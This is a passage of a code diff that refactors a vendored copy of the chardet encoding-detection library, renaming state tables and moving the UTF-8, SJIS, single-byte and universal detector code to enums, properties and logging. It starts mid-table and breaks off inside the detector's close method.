6,MachineState.ITS_ME, 6, 6,#18-1f + 6, 6, 6, 6, 5, 7, 7,MachineState.ERROR,#20-27 + 5, 8, 6, 6,MachineState.ERROR, 6, 6, 6,#28-2f + 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #30-37 ) -UCS2BECharLenTable = (2, 2, 2, 0, 2, 2) +UCS2BE_CHAR_LEN_TABLE = (2, 2, 2, 0, 2, 2) -UCS2BESMModel = {'classTable': UCS2BE_cls, - 'classFactor': 6, - 'stateTable': UCS2BE_st, - 'charLenTable': UCS2BECharLenTable, - 'name': 'UTF-16BE'} +UCS2BE_SM_MODEL = {'class_table': UCS2BE_CLS, + 'class_factor': 6, + 'state_table': UCS2BE_ST, + 'char_len_table': UCS2BE_CHAR_LEN_TABLE, + 'name': 'UTF-16BE'} # UCS2-LE -UCS2LE_cls = ( +UCS2LE_CLS = ( 0,0,0,0,0,0,0,0, # 00 - 07 0,0,1,0,0,2,0,0, # 08 - 0f 0,0,0,0,0,0,0,0, # 10 - 17 @@ -479,27 +479,27 @@ 0,0,0,0,0,0,4,5 # f8 - ff ) -UCS2LE_st = ( - 6, 6, 7, 6, 4, 3,eError,eError,#00-07 - eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,#08-0f - eItsMe,eItsMe, 5, 5, 5,eError,eItsMe,eError,#10-17 - 5, 5, 5,eError, 5,eError, 6, 6,#18-1f - 7, 6, 8, 8, 5, 5, 5,eError,#20-27 - 5, 5, 5,eError,eError,eError, 5, 5,#28-2f - 5, 5, 5,eError, 5,eError,eStart,eStart #30-37 +UCS2LE_ST = ( + 6, 6, 7, 6, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 5, 5, 5,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#10-17 + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR, 6, 6,#18-1f + 7, 6, 8, 8, 5, 5, 5,MachineState.ERROR,#20-27 + 5, 5, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5,#28-2f + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR,MachineState.START,MachineState.START #30-37 ) -UCS2LECharLenTable = (2, 2, 2, 2, 2, 2) +UCS2LE_CHAR_LEN_TABLE = (2, 2, 2, 2, 2, 2) -UCS2LESMModel = {'classTable': UCS2LE_cls, - 'classFactor': 6, - 'stateTable': UCS2LE_st, - 'charLenTable': UCS2LECharLenTable, +UCS2LE_SM_MODEL = {'class_table': UCS2LE_CLS, + 'class_factor': 6, + 'state_table': UCS2LE_ST, + 'char_len_table': UCS2LE_CHAR_LEN_TABLE, 'name': 'UTF-16LE'} # UTF-8 -UTF8_cls = ( +UTF8_CLS = ( 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value 1,1,1,1,1,1,0,0, # 08 - 0f 1,1,1,1,1,1,1,1, # 10 - 17 @@ -534,39 +534,39 @@ 12,13,13,13,14,15,0,0 # f8 - ff ) -UTF8_st = ( - eError,eStart,eError,eError,eError,eError, 12, 10,#00-07 +UTF8_ST = ( + MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12, 10,#00-07 9, 11, 8, 7, 6, 5, 4, 3,#08-0f - eError,eError,eError,eError,eError,eError,eError,eError,#10-17 - eError,eError,eError,eError,eError,eError,eError,eError,#18-1f - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#20-27 - eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,#28-2f - eError,eError, 5, 5, 5, 5,eError,eError,#30-37 - eError,eError,eError,eError,eError,eError,eError,eError,#38-3f - eError,eError,eError, 5, 5, 5,eError,eError,#40-47 - eError,eError,eError,eError,eError,eError,eError,eError,#48-4f - eError,eError, 7, 7, 7, 7,eError,eError,#50-57 - eError,eError,eError,eError,eError,eError,eError,eError,#58-5f - eError,eError,eError,eError, 7, 7,eError,eError,#60-67 - eError,eError,eError,eError,eError,eError,eError,eError,#68-6f - eError,eError, 9, 9, 9, 9,eError,eError,#70-77 - eError,eError,eError,eError,eError,eError,eError,eError,#78-7f - eError,eError,eError,eError,eError, 9,eError,eError,#80-87 - eError,eError,eError,eError,eError,eError,eError,eError,#88-8f - eError,eError, 12, 12, 12, 12,eError,eError,#90-97 - eError,eError,eError,eError,eError,eError,eError,eError,#98-9f - eError,eError,eError,eError,eError, 12,eError,eError,#a0-a7 - eError,eError,eError,eError,eError,eError,eError,eError,#a8-af - eError,eError, 12, 12, 12,eError,eError,eError,#b0-b7 - eError,eError,eError,eError,eError,eError,eError,eError,#b8-bf - eError,eError,eStart,eStart,eStart,eStart,eError,eError,#c0-c7 - eError,eError,eError,eError,eError,eError,eError,eError #c8-cf + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#20-27 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#28-2f + MachineState.ERROR,MachineState.ERROR, 5, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#30-37 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#38-3f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#40-47 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#48-4f + MachineState.ERROR,MachineState.ERROR, 7, 7, 7, 7,MachineState.ERROR,MachineState.ERROR,#50-57 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#58-5f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 7, 7,MachineState.ERROR,MachineState.ERROR,#60-67 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#68-6f + MachineState.ERROR,MachineState.ERROR, 9, 9, 9, 9,MachineState.ERROR,MachineState.ERROR,#70-77 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#78-7f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 9,MachineState.ERROR,MachineState.ERROR,#80-87 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#88-8f + MachineState.ERROR,MachineState.ERROR, 12, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,#90-97 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#98-9f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12,MachineState.ERROR,MachineState.ERROR,#a0-a7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#a8-af + MachineState.ERROR,MachineState.ERROR, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b0-b7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b8-bf + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,#c0-c7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR #c8-cf ) -UTF8CharLenTable = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) +UTF8_CHAR_LEN_TABLE = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) -UTF8SMModel = {'classTable': UTF8_cls, - 'classFactor': 16, - 'stateTable': UTF8_st, - 'charLenTable': UTF8CharLenTable, - 'name': 'UTF-8'} +UTF8_SM_MODEL = {'class_table': UTF8_CLS, + 'class_factor': 16, + 'state_table': UTF8_ST, + 'char_len_table': UTF8_CHAR_LEN_TABLE, + 'name': 'UTF-8'} diff --git a/thirdparty/chardet/sbcharsetprober.py b/thirdparty/chardet/sbcharsetprober.py index 37291bd27a9..0adb51de5a2 100644 --- a/thirdparty/chardet/sbcharsetprober.py +++ b/thirdparty/chardet/sbcharsetprober.py @@ -26,95 +26,107 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import sys -from . import constants from .charsetprober import CharSetProber -from .compat import wrap_ord - -SAMPLE_SIZE = 64 -SB_ENOUGH_REL_THRESHOLD = 1024 -POSITIVE_SHORTCUT_THRESHOLD = 0.95 -NEGATIVE_SHORTCUT_THRESHOLD = 0.05 -SYMBOL_CAT_ORDER = 250 -NUMBER_OF_SEQ_CAT = 4 -POSITIVE_CAT = NUMBER_OF_SEQ_CAT - 1 -#NEGATIVE_CAT = 0 +from .enums import CharacterCategory, ProbingState, SequenceLikelihood class SingleByteCharSetProber(CharSetProber): - def __init__(self, model, reversed=False, nameProber=None): - CharSetProber.__init__(self) - self._mModel = model + SAMPLE_SIZE = 64 + SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 + POSITIVE_SHORTCUT_THRESHOLD = 0.95 + NEGATIVE_SHORTCUT_THRESHOLD = 0.05 + + def __init__(self, model, reversed=False, name_prober=None): + super(SingleByteCharSetProber, self).__init__() + self._model = model # TRUE if we need to reverse every pair in the model lookup - self._mReversed = reversed + self._reversed = reversed # Optional auxiliary prober for name decision - self._mNameProber = nameProber + self._name_prober = name_prober + self._last_order = None + self._seq_counters = None + self._total_seqs = None + self._total_char = None + self._freq_char = None self.reset() def reset(self): - CharSetProber.reset(self) + super(SingleByteCharSetProber, self).reset() # char order of last character - self._mLastOrder = 255 - self._mSeqCounters = [0] * NUMBER_OF_SEQ_CAT - self._mTotalSeqs = 0 - self._mTotalChar = 0 + self._last_order = 255 + self._seq_counters = [0] * SequenceLikelihood.get_num_categories() + self._total_seqs = 0 + self._total_char = 0 # characters that fall in our sampling range - self._mFreqChar = 0 + self._freq_char = 0 + + @property + def charset_name(self): + if self._name_prober: + return self._name_prober.charset_name + else: + return self._model['charset_name'] - def get_charset_name(self): - if self._mNameProber: - return self._mNameProber.get_charset_name() + @property + def language(self): + if self._name_prober: + return self._name_prober.language else: - return self._mModel['charsetName'] + return self._model.get('language') - def feed(self, aBuf): - if not self._mModel['keepEnglishLetter']: - aBuf = self.filter_without_english_letters(aBuf) - aLen = len(aBuf) - if not aLen: - return self.get_state() - for c in aBuf: - order = self._mModel['charToOrderMap'][wrap_ord(c)] - if order < SYMBOL_CAT_ORDER: - self._mTotalChar += 1 - if order < SAMPLE_SIZE: - self._mFreqChar += 1 - if self._mLastOrder < SAMPLE_SIZE: - self._mTotalSeqs += 1 - if not self._mReversed: - i = (self._mLastOrder * SAMPLE_SIZE) + order - model = self._mModel['precedenceMatrix'][i] + def feed(self, byte_str): + if not self._model['keep_english_letter']: + byte_str = self.filter_international_words(byte_str) + if not byte_str: + return self.state + char_to_order_map = self._model['char_to_order_map'] + for i, c in enumerate(byte_str): + # XXX: Order is in range 1-64, so one would think we want 0-63 here, + # but that leads to 27 more test failures than before. + order = char_to_order_map[c] + # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but + # CharacterCategory.SYMBOL is actually 253, so we use CONTROL + # to make it closer to the original intent. The only difference + # is whether or not we count digits and control characters for + # _total_char purposes. + if order < CharacterCategory.CONTROL: + self._total_char += 1 + if order < self.SAMPLE_SIZE: + self._freq_char += 1 + if self._last_order < self.SAMPLE_SIZE: + self._total_seqs += 1 + if not self._reversed: + i = (self._last_order * self.SAMPLE_SIZE) + order + model = self._model['precedence_matrix'][i] else: # reverse the order of the letters in the lookup - i = (order * SAMPLE_SIZE) + self._mLastOrder - model = self._mModel['precedenceMatrix'][i] - self._mSeqCounters[model] += 1 - self._mLastOrder = order + i = (order * self.SAMPLE_SIZE) + self._last_order + model = self._model['precedence_matrix'][i] + self._seq_counters[model] += 1 + self._last_order = order - if self.get_state() == constants.eDetecting: - if self._mTotalSeqs > SB_ENOUGH_REL_THRESHOLD: - cf = self.get_confidence() - if cf > POSITIVE_SHORTCUT_THRESHOLD: - if constants._debug: - sys.stderr.write('%s confidence = %s, we have a' - 'winner\n' % - (self._mModel['charsetName'], cf)) - self._mState = constants.eFoundIt - elif cf < NEGATIVE_SHORTCUT_THRESHOLD: - if constants._debug: - sys.stderr.write('%s confidence = %s, below negative' - 'shortcut threshhold %s\n' % - (self._mModel['charsetName'], cf, - NEGATIVE_SHORTCUT_THRESHOLD)) - self._mState = constants.eNotMe + charset_name = self._model['charset_name'] + if self.state == ProbingState.DETECTING: + if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: + confidence = self.get_confidence() + if confidence > self.POSITIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, we have a winner', + charset_name, confidence) + self._state = ProbingState.FOUND_IT + elif confidence < self.NEGATIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, below negative ' + 'shortcut threshhold %s', charset_name, + confidence, + self.NEGATIVE_SHORTCUT_THRESHOLD) + self._state = ProbingState.NOT_ME - return self.get_state() + return self.state def get_confidence(self): r = 0.01 - if self._mTotalSeqs > 0: - r = ((1.0 * self._mSeqCounters[POSITIVE_CAT]) / self._mTotalSeqs - / self._mModel['mTypicalPositiveRatio']) - r = r * self._mFreqChar / self._mTotalChar + if self._total_seqs > 0: + r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / + self._total_seqs / self._model['typical_positive_ratio']) + r = r * self._freq_char / self._total_char if r >= 1.0: r = 0.99 return r diff --git a/thirdparty/chardet/sbcsgroupprober.py b/thirdparty/chardet/sbcsgroupprober.py index 1b6196cd16c..98e95dc1a3c 100644 --- a/thirdparty/chardet/sbcsgroupprober.py +++ b/thirdparty/chardet/sbcsgroupprober.py @@ -33,16 +33,17 @@ Ibm866Model, Ibm855Model) from .langgreekmodel import Latin7GreekModel, Win1253GreekModel from .langbulgarianmodel import Latin5BulgarianModel, Win1251BulgarianModel -from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel +# from .langhungarianmodel import Latin2HungarianModel, Win1250HungarianModel from .langthaimodel import TIS620ThaiModel from .langhebrewmodel import Win1255HebrewModel from .hebrewprober import HebrewProber +from .langturkishmodel import Latin5TurkishModel class SBCSGroupProber(CharSetGroupProber): def __init__(self): - CharSetGroupProber.__init__(self) - self._mProbers = [ + super(SBCSGroupProber, self).__init__() + self.probers = [ SingleByteCharSetProber(Win1251CyrillicModel), SingleByteCharSetProber(Koi8rModel), SingleByteCharSetProber(Latin5CyrillicModel), @@ -53,17 +54,20 @@ def __init__(self): SingleByteCharSetProber(Win1253GreekModel), SingleByteCharSetProber(Latin5BulgarianModel), SingleByteCharSetProber(Win1251BulgarianModel), - SingleByteCharSetProber(Latin2HungarianModel), - SingleByteCharSetProber(Win1250HungarianModel), + # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) + # after we retrain model. + # SingleByteCharSetProber(Latin2HungarianModel), + # SingleByteCharSetProber(Win1250HungarianModel), SingleByteCharSetProber(TIS620ThaiModel), + SingleByteCharSetProber(Latin5TurkishModel), ] - hebrewProber = HebrewProber() - logicalHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, - False, hebrewProber) - visualHebrewProber = SingleByteCharSetProber(Win1255HebrewModel, True, - hebrewProber) - hebrewProber.set_model_probers(logicalHebrewProber, visualHebrewProber) - self._mProbers.extend([hebrewProber, logicalHebrewProber, - visualHebrewProber]) + hebrew_prober = HebrewProber() + logical_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, + False, hebrew_prober) + visual_hebrew_prober = SingleByteCharSetProber(Win1255HebrewModel, True, + hebrew_prober) + hebrew_prober.set_model_probers(logical_hebrew_prober, visual_hebrew_prober) + self.probers.extend([hebrew_prober, logical_hebrew_prober, + visual_hebrew_prober]) self.reset() diff --git a/thirdparty/chardet/sjisprober.py b/thirdparty/chardet/sjisprober.py index 4edb6df9b16..9e29623bdc5 100644 --- a/thirdparty/chardet/sjisprober.py +++ b/thirdparty/chardet/sjisprober.py @@ -25,67 +25,68 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -import sys from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import SJISDistributionAnalysis from .jpcntx import SJISContextAnalysis -from .mbcssm import SJISSMModel -from . import constants +from .mbcssm import SJIS_SM_MODEL +from .enums import ProbingState, MachineState class SJISProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(SJISSMModel) - self._mDistributionAnalyzer = SJISDistributionAnalysis() - self._mContextAnalyzer = SJISContextAnalysis() + super(SJISProber, self).__init__() + self.coding_sm = CodingStateMachine(SJIS_SM_MODEL) + self.distribution_analyzer = SJISDistributionAnalysis() + self.context_analyzer = SJISContextAnalysis() self.reset() def reset(self): - MultiByteCharSetProber.reset(self) - self._mContextAnalyzer.reset() + super(SJISProber, self).reset() + self.context_analyzer.reset() - def get_charset_name(self): - return self._mContextAnalyzer.get_charset_name() + @property + def charset_name(self): + return self.context_analyzer.charset_name - def feed(self, aBuf): - aLen = len(aBuf) - for i in xrange(0, aLen): - codingState = self._mCodingSM.next_state(aBuf[i]) - if codingState == constants.eError: - if constants._debug: - sys.stderr.write(self.get_charset_name() - + ' prober hit error at byte ' + str(i) - + '\n') - self._mState = constants.eNotMe + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME break - elif codingState == constants.eItsMe: - self._mState = constants.eFoundIt + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT break - elif codingState == constants.eStart: - charLen = self._mCodingSM.get_current_charlen() + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() if i == 0: - self._mLastChar[1] = aBuf[0] - self._mContextAnalyzer.feed(self._mLastChar[2 - charLen:], - charLen) - self._mDistributionAnalyzer.feed(self._mLastChar, charLen) + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char[2 - char_len:], + char_len) + self.distribution_analyzer.feed(self._last_char, char_len) else: - self._mContextAnalyzer.feed(aBuf[i + 1 - charLen:i + 3 - - charLen], charLen) - self._mDistributionAnalyzer.feed(aBuf[i - 1:i + 1], - charLen) + self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3 + - char_len], char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) - self._mLastChar[0] = aBuf[aLen - 1] + self._last_char[0] = byte_str[-1] - if self.get_state() == constants.eDetecting: - if (self._mContextAnalyzer.got_enough_data() and - (self.get_confidence() > constants.SHORTCUT_THRESHOLD)): - self._mState = constants.eFoundIt + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT - return self.get_state() + return self.state def get_confidence(self): - contxtCf = self._mContextAnalyzer.get_confidence() - distribCf = self._mDistributionAnalyzer.get_confidence() - return max(contxtCf, distribCf) + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/thirdparty/chardet/universaldetector.py b/thirdparty/chardet/universaldetector.py index 476522b9996..7b4e92d6158 100644 --- a/thirdparty/chardet/universaldetector.py +++ b/thirdparty/chardet/universaldetector.py @@ -25,146 +25,262 @@ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### +""" +Module containing the UniversalDetector detector class, which is the primary +class a user of ``chardet`` should use. + +:author: Mark Pilgrim (initial port to Python) +:author: Shy Shalom (original C code) +:author: Dan Blanchard (major refactoring for 3.0) +:author: Ian Cordasco +""" + -from . import constants -import sys import codecs -from .latin1prober import Latin1Prober # windows-1252 -from .mbcsgroupprober import MBCSGroupProber # multi-byte character sets -from .sbcsgroupprober import SBCSGroupProber # single-byte character sets -from .escprober import EscCharSetProber # ISO-2122, etc. +import logging import re -MINIMUM_THRESHOLD = 0.20 -ePureAscii = 0 -eEscAscii = 1 -eHighbyte = 2 +from .charsetgroupprober import CharSetGroupProber +from .enums import InputState, LanguageFilter, ProbingState +from .escprober import EscCharSetProber +from .latin1prober import Latin1Prober +from .mbcsgroupprober import MBCSGroupProber +from .sbcsgroupprober import SBCSGroupProber + + +class UniversalDetector(object): + """ + The ``UniversalDetector`` class underlies the ``chardet.detect`` function + and coordinates all of the different charset probers. + + To get a ``dict`` containing an encoding and its confidence, you can simply + run: + + .. code:: + u = UniversalDetector() + u.feed(some_bytes) + u.close() + detected = u.result -class UniversalDetector: - def __init__(self): - self._highBitDetector = re.compile(b'[\x80-\xFF]') - self._escDetector = re.compile(b'(\033|~{)') - self._mEscCharSetProber = None - self._mCharSetProbers = [] + """ + + MINIMUM_THRESHOLD = 0.20 + HIGH_BYTE_DETECTOR = re.compile(b'[\x80-\xFF]') + ESC_DETECTOR = re.compile(b'(\033|~{)') + WIN_BYTE_DETECTOR = re.compile(b'[\x80-\x9F]') + ISO_WIN_MAP = {'iso-8859-1': 'Windows-1252', + 'iso-8859-2': 'Windows-1250', + 'iso-8859-5': 'Windows-1251', + 'iso-8859-6': 'Windows-1256', + 'iso-8859-7': 'Windows-1253', + 'iso-8859-8': 'Windows-1255', + 'iso-8859-9': 'Windows-1254', + 'iso-8859-13': 'Windows-1257'} + + def __init__(self, lang_filter=LanguageFilter.ALL): + self._esc_charset_prober = None + self._charset_probers = [] + self.result = None + self.done = None + self._got_data = None + self._input_state = None + self._last_char = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + self._has_win_bytes = None self.reset() def reset(self): - self.result = {'encoding': None, 'confidence': 0.0} + """ + Reset the UniversalDetector and all of its probers back to their + initial states. This is called by ``__init__``, so you only need to + call this directly in between analyses of different documents. + """ + self.result = {'encoding': None, 'confidence': 0.0, 'language': None} self.done = False - self._mStart = True - self._mGotData = False - self._mInputState = ePureAscii - self._mLastChar = b'' - if self._mEscCharSetProber: - self._mEscCharSetProber.reset() - for prober in self._mCharSetProbers: + self._got_data = False + self._has_win_bytes = False + self._input_state = InputState.PURE_ASCII + self._last_char = b'' + if self._esc_charset_prober: + self._esc_charset_prober.reset() + for prober in self._charset_probers: prober.reset() - def feed(self, aBuf): + def feed(self, byte_str): + """ + Takes a chunk of a document and feeds it through all of the relevant + charset probers. + + After calling ``feed``, you can check the value of the ``done`` + attribute to see if you need to continue feeding the + ``UniversalDetector`` more data, or if it has made a prediction + (in the ``result`` attribute). + + .. note:: + You should always call ``close`` when you're done feeding in your + document if ``done`` is not already ``True``. + """ if self.done: return - aLen = len(aBuf) - if not aLen: + if not len(byte_str): return - if not self._mGotData: + if not isinstance(byte_str, bytearray): + byte_str = bytearray(byte_str) + + # First check for known BOMs, since these are guaranteed to be correct + if not self._got_data: # If the data starts with BOM, we know it is UTF - if aBuf[:3] == codecs.BOM_UTF8: + if byte_str.startswith(codecs.BOM_UTF8): # EF BB BF UTF-8 with BOM - self.result = {'encoding': "UTF-8-SIG", 'confidence': 1.0} - elif aBuf[:4] == codecs.BOM_UTF32_LE: + self.result = {'encoding': "UTF-8-SIG", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_UTF32_LE, + codecs.BOM_UTF32_BE)): # FF FE 00 00 UTF-32, little-endian BOM - self.result = {'encoding': "UTF-32LE", 'confidence': 1.0} - elif aBuf[:4] == codecs.BOM_UTF32_BE: # 00 00 FE FF UTF-32, big-endian BOM - self.result = {'encoding': "UTF-32BE", 'confidence': 1.0} - elif aBuf[:4] == b'\xFE\xFF\x00\x00': + self.result = {'encoding': "UTF-32", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\xFE\xFF\x00\x00'): # FE FF 00 00 UCS-4, unusual octet order BOM (3412) - self.result = { - 'encoding': "X-ISO-10646-UCS-4-3412", - 'confidence': 1.0 - } - elif aBuf[:4] == b'\x00\x00\xFF\xFE': + self.result = {'encoding': "X-ISO-10646-UCS-4-3412", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\x00\x00\xFF\xFE'): # 00 00 FF FE UCS-4, unusual octet order BOM (2143) - self.result = { - 'encoding': "X-ISO-10646-UCS-4-2143", - 'confidence': 1.0 - } - elif aBuf[:2] == codecs.BOM_LE: + self.result = {'encoding': "X-ISO-10646-UCS-4-2143", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_LE, codecs.BOM_BE)): # FF FE UTF-16, little endian BOM - self.result = {'encoding': "UTF-16LE", 'confidence': 1.0} - elif aBuf[:2] == codecs.BOM_BE: # FE FF UTF-16, big endian BOM - self.result = {'encoding': "UTF-16BE", 'confidence': 1.0} + self.result = {'encoding': "UTF-16", + 'confidence': 1.0, + 'language': ''} - self._mGotData = True - if self.result['encoding'] and (self.result['confidence'] > 0.0): - self.done = True - return + self._got_data = True + if self.result['encoding'] is not None: + self.done = True + return + + # If none of those matched and we've only see ASCII so far, check + # for high bytes and escape sequences + if self._input_state == InputState.PURE_ASCII: + if self.HIGH_BYTE_DETECTOR.search(byte_str): + self._input_state = InputState.HIGH_BYTE + elif self._input_state == InputState.PURE_ASCII and \ + self.ESC_DETECTOR.search(self._last_char + byte_str): + self._input_state = InputState.ESC_ASCII + + self._last_char = byte_str[-1:] - if self._mInputState == ePureAscii: - if self._highBitDetector.search(aBuf): - self._mInputState = eHighbyte - elif ((self._mInputState == ePureAscii) and - self._escDetector.search(self._mLastChar + aBuf)): - self._mInputState = eEscAscii - - self._mLastChar = aBuf[-1:] - - if self._mInputState == eEscAscii: - if not self._mEscCharSetProber: - self._mEscCharSetProber = EscCharSetProber() - if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt: - self.result = {'encoding': self._mEscCharSetProber.get_charset_name(), - 'confidence': self._mEscCharSetProber.get_confidence()} + # If we've seen escape sequences, use the EscCharSetProber, which + # uses a simple state machine to check for known escape sequences in + # HZ and ISO-2022 encodings, since those are the only encodings that + # use such sequences. + if self._input_state == InputState.ESC_ASCII: + if not self._esc_charset_prober: + self._esc_charset_prober = EscCharSetProber(self.lang_filter) + if self._esc_charset_prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': + self._esc_charset_prober.charset_name, + 'confidence': + self._esc_charset_prober.get_confidence(), + 'language': + self._esc_charset_prober.language} self.done = True - elif self._mInputState == eHighbyte: - if not self._mCharSetProbers: - self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(), - Latin1Prober()] - for prober in self._mCharSetProbers: - if prober.feed(aBuf) == constants.eFoundIt: - self.result = {'encoding': prober.get_charset_name(), - 'confidence': prober.get_confidence()} + # If we've seen high bytes (i.e., those with values greater than 127), + # we need to do more complicated checks using all our multi-byte and + # single-byte probers that are left. The single-byte probers + # use character bigram distributions to determine the encoding, whereas + # the multi-byte probers use a combination of character unigram and + # bigram distributions. + elif self._input_state == InputState.HIGH_BYTE: + if not self._charset_probers: + self._charset_probers = [MBCSGroupProber(self.lang_filter)] + # If we're checking non-CJK encodings, use single-byte prober + if self.lang_filter & LanguageFilter.NON_CJK: + self._charset_probers.append(SBCSGroupProber()) + self._charset_probers.append(Latin1Prober()) + for prober in self._charset_probers: + if prober.feed(byte_str) == ProbingState.FOUND_IT: + self.result = {'encoding': prober.charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language} self.done = True break + if self.WIN_BYTE_DETECTOR.search(byte_str): + self._has_win_bytes = True def close(self): + """ + Stop analyzing the current document and come up with a final + prediction. + + :returns: The ``result`` attribute, a ``dict`` with the keys + `encoding`, `confidence`, and `language`. + """ + # Don't bother with checks if we're already done if self.done: - return - if not self._mGotData: - if constants._debug: - sys.stderr.write('no data received!\n') - return + return self.result self.done = True - if self._mInputState == ePureAscii: - self.result = {'encoding': 'ascii', 'confidence': 1.0} - return self.result + if not self._got_data: + self.logger.debug('no data received!') - if self._mInputState == eHighbyte: - proberConfidence = None - maxProberConfidence = 0.0 